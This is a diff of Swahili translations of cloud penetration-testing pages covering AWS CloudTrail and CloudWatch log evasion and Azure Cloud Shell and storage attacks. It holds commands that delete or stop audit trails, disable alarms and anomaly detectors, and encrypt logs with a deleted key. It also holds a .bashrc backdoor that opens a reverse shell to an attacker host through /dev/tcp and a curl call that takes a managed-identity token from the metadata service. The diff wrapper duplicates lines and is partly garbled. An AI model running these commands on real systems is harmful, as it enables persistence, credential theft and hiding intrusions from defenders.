Kwa njia hii, **mshambuliaji anaweza kupata ARN ya funguo bila kuanzisha logi yoyote**. Katika ARN mshambuliaji anaweza kuona **ID ya akaunti ya AWS na jina**, ni rahisi kujua ID na majina ya akaunti za kampuni za HoneyToken, hivyo kwa njia hii mshambuliaji anaweza kubaini kama token ni HoneyToken.
|
||||
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> Kumbuka kwamba APIs zote za umma zilizogundulika kutokuwa na logi za CloudTrail sasa zimerekebishwa, hivyo labda unahitaji kutafuta zako mwenyewe...
|
||||
> Kumbuka kwamba APIs zote za umma zilizogundulika kutokuwa na logi za CloudTrail sasa zimerekebishwa, hivyo huenda unahitaji kutafuta zako mwenyewe...
|
||||
>
|
||||
> Kwa maelezo zaidi angalia [**utafiti wa asili**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
|
||||
|
||||
### Kufikia Miundombinu ya Tatu
|
||||
|
||||
Huduma fulani za AWS zitaunda **miundombinu fulani** kama vile **Maktaba** au **vikundi vya Kubernetes** (EKS). Mtumiaji **akizungumza moja kwa moja na huduma hizo** (kama API ya Kubernetes) **hataitumia API ya AWS**, hivyo CloudTrail haitakuwa na uwezo wa kuona mawasiliano haya.
|
||||
Huduma fulani za AWS zita **unda miundombinu fulani** kama vile **Maktaba** au **vikundi vya Kubernetes** (EKS). Mtumiaji **akizungumza moja kwa moja na huduma hizo** (kama API ya Kubernetes) **hataitumia API ya AWS**, hivyo CloudTrail haitakuwa na uwezo wa kuona mawasiliano haya.
|
||||
|
||||
Kwa hivyo, mtumiaji mwenye ufikiaji wa EKS ambaye amegundua URL ya API ya EKS anaweza kuunda token kwa ndani na **kuzungumza na huduma ya API moja kwa moja bila kugunduliwa na Cloudtrail**.
|
||||
|
||||
@@ -216,7 +216,7 @@ Maelezo zaidi katika:
|
||||
|
||||
### Kubadilisha Mipangilio ya CloudTrail
|
||||
|
||||
#### Futa trails
|
||||
#### Futa nyayo
|
||||
```bash
|
||||
aws cloudtrail delete-trail --name [trail-name]
|
||||
```
|
||||
@@ -228,7 +228,7 @@ aws cloudtrail stop-logging --name [trail-name]
|
||||
```bash
|
||||
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
|
||||
```
|
||||
#### Zima Logging kwa Wateule wa Matukio
|
||||
#### Zima Kurekodi kwa Wateule wa Matukio
|
||||
```bash
|
||||
# Leave only the ReadOnly selector
|
||||
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>
|
||||
@@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '
|
||||
# Remove all selectors (stop Insights)
|
||||
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
|
||||
```
|
||||
Katika mfano wa kwanza, mteule wa tukio moja unapatikana kama array ya JSON yenye kitu kimoja. `"ReadWriteType": "ReadOnly"` inaonyesha kwamba **mteule wa tukio unapaswa kunasa matukio ya kusoma tu** (hivyo maarifa ya CloudTrail **hayataangalia** matukio ya kuandika kwa mfano).
|
||||
Katika mfano wa kwanza, mteule wa tukio moja unapatikana kama array ya JSON yenye kitu kimoja. `"ReadWriteType": "ReadOnly"` inaonyesha kwamba **mteule wa tukio unapaswa kunasa matukio ya kusoma tu** (hivyo CloudTrail insights **hazitakuwa zikichunguza** matukio ya kuandika kwa mfano).
|
||||
|
||||
Unaweza kubinafsisha mteule wa tukio kulingana na mahitaji yako maalum.
|
||||
|
||||
@@ -249,13 +249,13 @@ aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration
|
||||
- Futa bucket ya S3
|
||||
- Badilisha sera ya bucket kukataa maandiko yoyote kutoka kwa huduma ya CloudTrail
|
||||
- Ongeza sera ya maisha kwa bucket ya S3 kufuta vitu
|
||||
- Zima funguo za kms zinazotumika kuandika kumbukumbu za CloudTrail
|
||||
- Zima funguo ya kms inayotumika kuandika logi za CloudTrail
|
||||
|
||||
### Cloudtrail ransomware
|
||||
|
||||
#### S3 ransomware
|
||||
|
||||
Unaweza **kuunda funguo isiyo ya kawaida** na kufanya **CloudTrail kuandika data** kwa funguo hiyo na **kufuta funguo ya faragha** ili maudhui ya CloudTrail hayawezi kurejeshwa.\
|
||||
Unaweza **kuunda funguo isiyo ya kawaida** na kufanya **CloudTrail kuandika data** kwa kutumia funguo hiyo na **kufuta funguo ya faragha** ili maudhui ya CloudTrail hayawezi kurejeshwa.\
|
||||
Hii ni kimsingi **S3-KMS ransomware** iliyoelezwa katika:
|
||||
|
||||
{{#ref}}
|
||||
|
||||
+29
-29
@@ -4,7 +4,7 @@
|
||||
|
||||
## CloudWatch
|
||||
|
||||
**CloudWatch** **inakusanya** data za ufuatiliaji na operesheni **katika** mfumo wa logs/metrics/events ikitoa **mtazamo wa pamoja wa rasilimali za AWS**, programu na huduma.\
|
||||
**CloudWatch** **inakusanya** ufuatiliaji na operesheni **data** katika mfumo wa logs/metrics/events ikitoa **mtazamo wa pamoja wa rasilimali za AWS**, programu na huduma.\
|
||||
CloudWatch Log Event ina **kikomo cha ukubwa wa 256KB kwa kila mstari wa log**.\
|
||||
Inaweza kuweka **alarms za azimio la juu**, kuonyesha **logs** na **metrics** kwa pamoja, kuchukua hatua za kiotomatiki, kutatua matatizo, na kugundua maarifa ili kuboresha programu.
|
||||
|
||||
@@ -14,7 +14,7 @@ Unaweza kufuatilia kwa mfano logs kutoka CloudTrail. Matukio yanayofuatiliwa:
|
||||
- Kuanzisha, Kusitisha, kuanzisha upya na kumaliza EC2 instances
|
||||
- Mabadiliko ya Sera za Usalama ndani ya IAM na S3
|
||||
- Jaribio la kuingia lililoshindwa kwenye AWS Management Console
|
||||
- API calls ambazo zilisababisha kukataliwa kwa idhini
|
||||
- API calls ambazo zilisababisha mamlaka kushindwa
|
||||
- Filters za kutafuta katika cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html)
|
||||
|
||||
## Key concepts
|
||||
@@ -27,7 +27,7 @@ Namespace ni kontena la metrics za CloudWatch. Inasaidia kuainisha na kutenga me
|
||||
|
||||
### Metrics
|
||||
|
||||
Metrics ni data points zinazokusanywa kwa muda zinazoakisi utendaji au matumizi ya rasilimali za AWS. Metrics zinaweza kukusanywa kutoka kwa huduma za AWS, programu za kawaida, au ushirikiano wa wahusika wa tatu.
|
||||
Metrics ni data points zinazokusanywa kwa muda zinazoakisi utendaji au matumizi ya rasilimali za AWS. Metrics zinaweza kukusanywa kutoka kwa huduma za AWS, programu za kawaida, au ushirikiano wa wahusika wengine.
|
||||
|
||||
- **Mfano**: CPUUtilization, NetworkIn, DiskReadOps.
|
||||
|
||||
@@ -68,11 +68,11 @@ Units ni aina ya kipimo inayohusishwa na metric. Units husaidia kutoa muktadha n
|
||||
|
||||
**Metric Streams** katika AWS CloudWatch zinakuwezesha kuendelea kutiririsha metrics za CloudWatch kwa mahali unayochagua kwa karibu wakati halisi. Hii ni muhimu hasa kwa ufuatiliaji wa hali ya juu, uchambuzi, na dashboards za kawaida kutumia zana za nje ya AWS.
|
||||
|
||||
**Metric Data** ndani ya Metric Streams inahusisha vipimo halisi au data points zinazotiririshwa. Data hizi zinaakisi metrics mbalimbali kama matumizi ya CPU, matumizi ya kumbukumbu, n.k., kwa rasilimali za AWS.
|
||||
**Metric Data** ndani ya Metric Streams inahusu vipimo halisi au data points zinazotiririshwa. Data hizi zinaakisi metrics mbalimbali kama matumizi ya CPU, matumizi ya kumbukumbu, nk, kwa rasilimali za AWS.
|
||||
|
||||
**Mfano wa Matumizi**:
|
||||
|
||||
- Kutuma metrics za wakati halisi kwa huduma ya ufuatiliaji ya wahusika wa tatu kwa uchambuzi wa hali ya juu.
|
||||
- Kutuma metrics za wakati halisi kwa huduma ya ufuatiliaji ya wahusika wengine kwa uchambuzi wa hali ya juu.
|
||||
- Kuhifadhi metrics katika Amazon S3 bucket kwa uhifadhi wa muda mrefu na kufuata sheria.
|
||||
|
||||
### Alarm
|
||||
@@ -83,8 +83,8 @@ Units ni aina ya kipimo inayohusishwa na metric. Units husaidia kutoa muktadha n
|
||||
|
||||
- **Threshold**: Thamani ambayo alarm inasababisha.
|
||||
- **Evaluation Periods**: Idadi ya vipindi ambavyo data inakaguliwa.
|
||||
- **Datapoints to Alarm**: Idadi ya vipindi vilivyofikia kigezo kinachohitajika kuanzisha alarm
|
||||
- **Actions**: Nini kinatokea wakati hali ya alarm inasababisha (mfano, arifu kupitia SNS).
|
||||
- **Datapoints to Alarm**: Idadi ya vipindi ambapo kigezo kimefikiwa kinahitajika kuanzisha alarm
|
||||
- **Actions**: Nini kinatokea wakati hali ya alarm inasababisha (kwa mfano, arifu kupitia SNS).
|
||||
|
||||
**Mfano wa Matumizi**:
|
||||
|
||||
@@ -111,30 +111,30 @@ Units ni aina ya kipimo inayohusishwa na metric. Units husaidia kutoa muktadha n
|
||||
|
||||
**Mfano wa Matumizi**:
|
||||
|
||||
- Kufuatilia Utendaji wa RDS: Wezesha kanuni ya uelewa iliyosimamiwa kwa Amazon RDS inayofuatilia viashiria muhimu vya utendaji kama matumizi ya CPU, matumizi ya kumbukumbu, na disk I/O. Ikiwa yoyote ya metrics hizi itazidi vigezo salama vya operesheni, kanuni inaweza kuanzisha arifa au hatua za kiotomatiki za kupunguza.
|
||||
- Kufuatilia Utendaji wa RDS: Wezesha kanuni ya uelewa iliyosimamiwa kwa Amazon RDS inayofuatilia viashiria muhimu vya utendaji kama matumizi ya CPU, matumizi ya kumbukumbu, na disk I/O. Ikiwa yoyote ya metrics hizi itazidi vigezo salama vya operesheni, kanuni inaweza kuanzisha arifa au hatua za kupunguza kiotomatiki.
|
||||
|
||||
### CloudWatch Logs <a href="#cloudwatch-logs" id="cloudwatch-logs"></a>
|
||||
|
||||
Inaruhusu **kujumlisha na kufuatilia logs kutoka kwa programu** na mifumo kutoka **huduma za AWS** (ikiwemo CloudTrail) na **kutoka kwa apps/mifumo** (**CloudWatch Agent** inaweza kusakinishwa kwenye mwenyeji). Logs zinaweza **kuhifadhiwa milele** (kulingana na mipangilio ya Log Group) na zinaweza kusafirishwa.
|
||||
Inaruhusu **kuunganisha na kufuatilia logs kutoka kwa programu** na mifumo kutoka **huduma za AWS** (ikiwemo CloudTrail) na **kutoka kwa apps/mifumo** (**CloudWatch Agent** inaweza kusakinishwa kwenye mwenyeji). Logs zinaweza **kuhifadhiwa milele** (kulingana na mipangilio ya Log Group) na zinaweza kusafirishwa.
|
||||
|
||||
**Vipengele**:
|
||||
|
||||
| **Log Group** | A **collection of log streams** that share the same retention, monitoring, and access control settings |
|
||||
| Term | Definition |
|
||||
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **Log Group** | A **collection of log streams** that share the same retention, monitoring, and access control settings |
|
||||
| **Log Stream** | A sequence of **log events** that share the **same source** |
|
||||
| **Subscription Filters** | Define a **filter pattern that matches events** in a particular log group, send them to Kinesis Data Firehose stream, Kinesis stream, or a Lambda function |
|
||||
|
||||
### CloudWatch Monitoring & Events
|
||||
|
||||
CloudWatch **misingi** inakusanya data **kila dakika 5** (ile **ya kina** inafanya hivyo **kila dakika 1**). Baada ya kukusanya, in **akagua vigezo vya alarms** ikiwa inahitaji kuanzisha moja.\
|
||||
Katika hali hiyo, CloudWatch inaweza kuwa tayari kutuma tukio na kufanya baadhi ya hatua za kiotomatiki (AWS lambda functions, SNS topics, SQS queues, Kinesis Streams)
|
||||
CloudWatch **misingi** inakusanya data **kila dakika 5** (ile **ya kina** inafanya hivyo **kila dakika 1**). Baada ya kukusanya, inakagua **vigezo vya alarms** ikiwa inahitaji kuanzisha moja.\
|
||||
Katika hali hiyo, CloudWatch inaweza kuwa tayari kutuma tukio na kufanya hatua za kiotomatiki (AWS lambda functions, SNS topics, SQS queues, Kinesis Streams)
|
||||
|
||||
### Agent Installation
|
||||
|
||||
Unaweza kusakinisha agents ndani ya mashine zako/containers ili kutuma logs kiotomatiki nyuma kwa CloudWatch.
|
||||
|
||||
- **Unda** **role** na **unganishi** nayo **instance** yenye ruhusa zinazoruhusu CloudWatch kukusanya data kutoka kwa instances pamoja na kuingiliana na AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
|
||||
- **Pakua** na **sakinisha** **agent** kwenye EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Unaweza kuipakua kutoka ndani ya EC2 au kuisakinisha kiotomatiki kwa kutumia AWS System Manager ukichagua kifurushi cha AWS-ConfigureAWSPackage
|
||||
- **Pakua** na **sakinisha** **agent** kwenye EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Unaweza kuipakua kutoka ndani ya EC2 au kuisakinisha kiotomatiki kwa kutumia AWS System Manager ukichagua pakiti AWS-ConfigureAWSPackage
|
||||
- **Sanidi** na **anzisha** CloudWatch Agent
|
||||
|
||||
Kikundi cha log kina streams nyingi. Stream ina matukio mengi. Na ndani ya kila stream, matukio yanahakikishwa kuwa katika mpangilio.
|
||||
@@ -218,7 +218,7 @@ aws events list-event-buses
|
||||
|
||||
Mshambuliaji mwenye ruhusa hizi anaweza kudhoofisha kwa kiasi kikubwa miundombinu ya ufuatiliaji na arifa ya shirika. Kwa kufuta alama zilizopo, mshambuliaji anaweza kuzima arifa muhimu zinazowajulisha wasimamizi kuhusu matatizo makubwa ya utendaji, uvunjaji wa usalama, au kushindwa kwa operesheni. Zaidi ya hayo, kwa kuunda au kubadilisha alama za metriki, mshambuliaji anaweza pia kuwachanganya wasimamizi kwa arifa za uongo au kuzima alama halali, kwa ufanisi kuficha shughuli mbaya na kuzuia majibu ya haraka kwa matukio halisi.
|
||||
|
||||
Zaidi ya hayo, kwa ruhusa ya **`cloudwatch:PutCompositeAlarm`**, mshambuliaji angeweza kuunda mzunguko au mzunguko wa alama za composite, ambapo alama ya composite A inategemea alama ya composite B, na alama ya composite B pia inategemea alama ya composite A. Katika hali hii, haiwezekani kufuta alama yoyote ya composite ambayo ni sehemu ya mzunguko kwa sababu daima kuna alama ya composite inayotegemea alama hiyo unayotaka kufuta.
|
||||
Aidha, kwa ruhusa ya **`cloudwatch:PutCompositeAlarm`**, mshambuliaji angeweza kuunda mzunguko au mzunguko wa alama za composite, ambapo alama ya composite A inategemea alama ya composite B, na alama ya composite B pia inategemea alama ya composite A. Katika hali hii, haiwezekani kufuta alama yoyote ya composite ambayo ni sehemu ya mzunguko kwa sababu daima kuna alama ya composite inayotegemea alama hiyo unayotaka kufuta.
|
||||
```bash
|
||||
aws cloudwatch put-metric-alarm --cli-input-json <value> | --alarm-name <value> --comparison-operator <value> --evaluation-periods <value> [--datapoints-to-alarm <value>] [--threshold <value>] [--alarm-description <value>] [--alarm-actions <value>] [--metric-name <value>] [--namespace <value>] [--statistic <value>] [--dimensions <value>] [--period <value>]
|
||||
aws cloudwatch delete-alarms --alarm-names <value>
|
||||
@@ -226,8 +226,8 @@ aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--
|
||||
```
|
||||
Mfano ufuatao unaonyesha jinsi ya kufanya alama ya kipimo isifanye kazi:
|
||||
|
||||
- Alama hii ya kipimo inafuatilia matumizi ya wastani ya CPU ya mfano maalum wa EC2, inakadiria kipimo kila sekunde 300 na inahitaji vipindi 6 vya tathmini (dakika 30 jumla). Ikiwa matumizi ya wastani ya CPU yanapita 60% kwa angalau 4 ya vipindi hivi, alama itasababisha na kutuma arifa kwa mada ya SNS iliyoainishwa.
|
||||
- Kwa kubadilisha Kiwango kuwa zaidi ya 99%, kuweka Kipindi kuwa sekunde 10, Vipindi vya Tathmini kuwa 8640 (kwa sababu vipindi 8640 vya sekunde 10 vinatoshana na siku 1), na Data Points kwa Alama kuwa 8640 pia, itahitajika kwa matumizi ya CPU kuwa zaidi ya 99% kila sekunde 10 katika kipindi chote cha masaa 24 ili kusababisha alama.
|
||||
- Alama hii ya kipimo inafuatilia matumizi ya wastani ya CPU ya mfano maalum wa EC2, inakadiria kipimo kila sekunde 300 na inahitaji vipindi 6 vya tathmini (jumla ya dakika 30). Ikiwa matumizi ya wastani ya CPU yanapita 60% kwa angalau 4 ya vipindi hivi, alama itasababisha na kutuma arifa kwa mada ya SNS iliyoainishwa.
|
||||
- Kwa kubadilisha Kiwango kuwa zaidi ya 99%, kuweka Kipindi kuwa sekunde 10, Vipindi vya Tathmini kuwa 8640 (kwa sababu vipindi 8640 vya sekunde 10 vinatoshana na siku 1), na Datapoints kwa Alama kuwa 8640 pia, itahitajika kwa matumizi ya CPU kuwa zaidi ya 99% kila sekunde 10 katika kipindi chote cha masaa 24 ili kusababisha alama.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Original Metric Alarm" }}
|
||||
@@ -283,17 +283,17 @@ Mfano ufuatao unaonyesha jinsi ya kufanya alama ya kipimo isifanye kazi:
|
||||
|
||||
### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`**
|
||||
|
||||
Kwa kufuta hatua za alama, mshambuliaji anaweza kuzuia arifa muhimu na majibu ya kiotomatiki yasitokee wakati hali ya alama inafikiwa, kama vile kuwajulisha wasimamizi au kuanzisha shughuli za kujiendesha. Kuwezesha au kurejesha hatua za alama kwa njia isiyo sahihi kunaweza pia kusababisha tabia zisizotarajiwa, ama kwa kuanzisha tena hatua zilizokuwa zimezuiliwa au kwa kubadilisha ni hatua zipi zinazochochewa, na hivyo kusababisha mkanganyiko na upotoshaji katika majibu ya matukio.
|
||||
Kwa kufuta hatua za alarm, mshambuliaji anaweza kuzuia arifa muhimu na majibu ya kiotomatiki yasijitokeze wakati hali ya alarm inafikiwa, kama vile kuwajulisha wasimamizi au kuanzisha shughuli za kujiendesha. Kuwezesha au kurejesha hatua za alarm kwa njia isiyo sahihi kunaweza pia kusababisha tabia zisizotarajiwa, ama kwa kurejesha hatua zilizokuwa zimezuiliwa awali au kwa kubadilisha ni hatua zipi zinazotolewa, na hivyo kusababisha mkanganyiko na upotoshaji katika majibu ya matukio.
|
||||
|
||||
Zaidi ya hayo, mshambuliaji mwenye ruhusa anaweza kubadilisha hali za alama, akiwa na uwezo wa kuunda alama za uongo ili kuwachanganya na kuwachanganya wasimamizi, au kuzima alama halisi ili kuficha shughuli mbaya zinazendelea au kushindwa kwa mifumo muhimu.
|
||||
Zaidi ya hayo, mshambuliaji mwenye ruhusa anaweza kubadilisha hali za alarm, akiwa na uwezo wa kuunda alama za uongo ili kuwachanganya wasimamizi, au kuzima alama halisi ili kuficha shughuli mbaya zinazendelea au kushindwa kwa mifumo muhimu.
|
||||
|
||||
- Ikiwa unatumia **`SetAlarmState`** kwenye alama ya pamoja, alama ya pamoja haihakikishiwi kurudi kwenye hali yake halisi. Inarudi kwenye hali yake halisi tu mara yoyote mojawapo ya alama zake za watoto zinapobadilisha hali. Pia inarejelewa ikiwa unasasisha usanidi wake.
|
||||
- Ikiwa unatumia **`SetAlarmState`** kwenye alarm ya pamoja, alarm ya pamoja haihakikishiwi kurudi kwenye hali yake halisi. Inarudi kwenye hali yake halisi tu mara yoyote mojawapo ya alama zake za watoto zinapobadilisha hali. Pia inarejelewa ikiwa utaweza kuboresha usanidi wake.
|
||||
```bash
|
||||
aws cloudwatch disable-alarm-actions --alarm-names <value>
|
||||
aws cloudwatch enable-alarm-actions --alarm-names <value>
|
||||
aws cloudwatch set-alarm-state --alarm-name <value> --state-value <OK | ALARM | INSUFFICIENT_DATA> --state-reason <value> [--state-reason-data <value>]
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Ukosefu wa arifa za matukio muhimu, masuala yanayoweza kutokea bila kugundulika, arifa za uongo, kuzuiya arifa halisi na huenda kukosa kugundua matukio halisi.
|
||||
**Madhara Yanayoweza Kutokea**: Ukosefu wa arifa za matukio muhimu, masuala yanayoweza kutokugundulika, arifa za uongo, kuzuiya arifa halisi na uwezekano wa kukosa kugundua matukio halisi.
|
||||
|
||||
### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
|
||||
|
||||
@@ -302,7 +302,7 @@ Mshambuliaji angeweza kuathiri uwezo wa kugundua na kujibu mifumo isiyo ya kawai
|
||||
aws cloudwatch delete-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value>]
|
||||
aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value> --configuration <value> --metric-characteristics <value>]
|
||||
```
|
||||
Mfano ufuatao unaonyesha jinsi ya kufanya kipima anomali cha metriki kisifanye kazi. Kipima anomali hiki kinachunguza matumizi ya wastani ya CPU ya mfano maalum wa EC2, na kwa kuongeza tu parameter ya “ExcludedTimeRanges” na kipindi kinachotakiwa, itakuwa ya kutosha kuhakikisha kwamba kipima anomali hakichambui au kutoa tahadhari juu ya data yoyote muhimu wakati huo.
|
||||
Mfano ufuatao unaonyesha jinsi ya kufanya kipimo cha kugundua anomali kisifanye kazi. Kipimo hiki cha kugundua anomali kinachunguza matumizi ya wastani ya CPU ya mfano maalum wa EC2, na kwa kuongeza tu parameter ya “ExcludedTimeRanges” pamoja na kipindi kinachotakiwa, itakuwa ya kutosha kuhakikisha kwamba kipimo cha kugundua anomali hakichambui au kutoa tahadhari juu ya data yoyote muhimu wakati huo.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Original Metric Anomaly Detector" }}
|
||||
@@ -355,16 +355,16 @@ Mfano ufuatao unaonyesha jinsi ya kufanya kipima anomali cha metriki kisifanye k
|
||||
|
||||
### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`**
|
||||
|
||||
Mshambuliaji angeweza kuathiri uwezo wa ufuatiliaji na uonyeshaji wa shirika kwa kuunda, kubadilisha au kufuta dashibodi zake. Ruhusa hizi zinaweza kutumika kuondoa mwonekano muhimu katika utendaji na afya ya mifumo, kubadilisha dashibodi kuonyesha data zisizo sahihi au kuficha shughuli mbaya.
|
||||
Mshambuliaji angeweza kuathiri uwezo wa ufuatiliaji na uonyeshaji wa shirika kwa kuunda, kubadilisha au kufuta dashibodi zake. Ruhusa hizi zinaweza kutumika kuondoa mwonekano muhimu wa utendaji na afya ya mifumo, kubadilisha dashibodi kuonyesha data zisizo sahihi au kuficha shughuli mbaya.
|
||||
```bash
|
||||
aws cloudwatch delete-dashboards --dashboard-names <value>
|
||||
aws cloudwatch put-dashboard --dashboard-name <value> --dashboard-body <value>
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Kupoteza ufuatiliaji wa mwonekano na taarifa zisizo sahihi.
|
||||
**Madhara Yanayoweza Kutokea**: Kupoteza ufuatiliaji wa kuona na taarifa za kupotosha.
|
||||
|
||||
### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`**
|
||||
### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule`, `cloudwatch:PutManagedInsightRule`**
|
||||
|
||||
Sheria za uelewa zinatumika kugundua tofauti, kuboresha utendaji, na kusimamia rasilimali kwa ufanisi. Kwa kufuta sheria za uelewa zilizopo, mshambuliaji anaweza kuondoa uwezo muhimu wa ufuatiliaji, na kuacha mfumo kuwa kipofu kwa matatizo ya utendaji na vitisho vya usalama. Zaidi ya hayo, mshambuliaji anaweza kuunda au kubadilisha sheria za uelewa ili kuzalisha data zisizo sahihi au kuficha shughuli mbaya, na kusababisha uchambuzi usio sahihi na majibu yasiyofaa kutoka kwa timu ya operesheni.
|
||||
Sheria za uelewa zinatumika kugundua anomali, kuboresha utendaji, na kusimamia rasilimali kwa ufanisi. Kwa kufuta sheria za uelewa zilizopo, mshambuliaji anaweza kuondoa uwezo muhimu wa ufuatiliaji, na kuacha mfumo kuwa kipofu kwa matatizo ya utendaji na vitisho vya usalama. Zaidi ya hayo, mshambuliaji anaweza kuunda au kubadilisha sheria za uelewa ili kuzalisha data za kupotosha au kuficha shughuli mbaya, na kusababisha uchambuzi usio sahihi na majibu yasiyofaa kutoka kwa timu ya operesheni.
|
||||
```bash
|
||||
aws cloudwatch delete-insight-rules --rule-names <value>
|
||||
aws cloudwatch put-insight-rule --rule-name <value> --rule-definition <value> [--rule-state <value>]
|
||||
@@ -383,13 +383,13 @@ aws cloudwatch enable-insight-rules --rule-names <value>
|
||||
|
||||
### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`**
|
||||
|
||||
Mshambuliaji mwenye ruhusa za **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** angeweza kuunda na kufuta mitiririko ya data za metriki, akihatarisha usalama, ufuatiliaji na uaminifu wa data:
|
||||
Mshambuliaji mwenye ruhusa za **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** angeweza kuunda na kufuta mitiririko ya data za metriki, akihatarisha usalama, ufuatiliaji na uadilifu wa data:
|
||||
|
||||
- **Kuunda mitiririko ya uhalifu**: Kuunda mitiririko ya metriki kutuma data nyeti kwa maeneo yasiyoidhinishwa.
|
||||
- **Manipulering ya rasilimali**: Uundaji wa mitiririko mipya ya metriki yenye data nyingi unaweza kuzalisha kelele nyingi, kusababisha arifa zisizo sahihi, kuficha masuala halisi.
|
||||
- **Kuvuruga ufuatiliaji**: Kufuta mitiririko ya metriki, washambuliaji wangeweza kuvuruga mtiririko wa data za ufuatiliaji. Kwa njia hii, shughuli zao za uhalifu zingefichwa kwa ufanisi.
|
||||
|
||||
Vivyo hivyo, kwa ruhusa ya **`cloudwatch:PutMetricData`**, ingekuwa inawezekana kuongeza data kwenye mitiririko ya metriki. Hii inaweza kusababisha DoS kutokana na kiasi cha data zisizo sahihi zilizoongezwa, na kuifanya kuwa isiyo na matumizi kabisa.
|
||||
Vivyo hivyo, kwa ruhusa ya **`cloudwatch:PutMetricData`**, ingekuwa inawezekana kuongeza data kwenye mitiririko ya metriki. Hii inaweza kusababisha DoS kutokana na kiasi cha data zisizo sahihi zilizoongezwa, na kuifanya kuwa isiyo na maana kabisa.
|
||||
```bash
|
||||
aws cloudwatch delete-metric-stream --name <value>
|
||||
aws cloudwatch put-metric-stream --name <value> [--include-filters <value>] [--exclude-filters <value>] --firehose-arn <value> --role-arn <value> --output-format <value>
|
||||
@@ -403,7 +403,7 @@ aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilizati
|
||||
|
||||
### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`**
|
||||
|
||||
Mshambuliaji angeweza kudhibiti mtiririko wa data za metriki zilizoathiriwa (mtiririko wowote wa data ikiwa hakuna kikomo cha rasilimali). Kwa ruhusa **`cloudwatch:StopMetricStreams`**, washambuliaji wangeweza kuficha shughuli zao mbaya kwa kusitisha mtiririko wa metriki muhimu.
|
||||
Mshambuliaji angeweza kudhibiti mtiririko wa data za metriki zilizoathiriwa (kila mtiririko wa data ikiwa hakuna kikomo cha rasilimali). Kwa ruhusa **`cloudwatch:StopMetricStreams`**, washambuliaji wangeweza kuficha shughuli zao mbaya kwa kusitisha mtiririko wa metriki muhimu.
|
||||
```bash
|
||||
aws cloudwatch stop-metric-streams --names <value>
|
||||
aws cloudwatch start-metric-streams --names <value>
|
||||
|
||||
@@ -10,21 +10,13 @@ Azure Cloud Shell inatoa ufikiaji wa amri ili kudhibiti rasilimali za Azure kwa
|
||||
* **Startup Scripts**: Faili kama .bashrc zinafanya kazi kiotomatiki mwanzoni mwa kila kikao, kuruhusu utekelezaji wa kudumu wakati shell ya wingu inaanza.
|
||||
|
||||
Mfano wa milango ya nyuma katika .bashrc:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Hii backdoor inaweza kutekeleza amri hata dakika 5 baada ya shell ya wingu kumalizika na mtumiaji.
|
||||
|
||||
Zaidi ya hayo, uliza huduma ya metadata ya Azure kwa maelezo ya mfano na tokeni:
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+2
-2
@@ -10,7 +10,7 @@ Kwa maelezo zaidi kuhusu uhifadhi angalia:
|
||||
../az-services/az-storage.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
|
||||
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
|
||||
|
||||
Mtu mwenye ruhusa hii ataweza **orodhesha** blobs (faili) ndani ya kontena na **kupakua** faili ambazo zinaweza kuwa na **taarifa nyeti**.
|
||||
```bash
|
||||
@@ -24,7 +24,7 @@ az storage blob download \
|
||||
--container-name <container-name> \
|
||||
-n file.txt --auth-mode login
|
||||
```
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
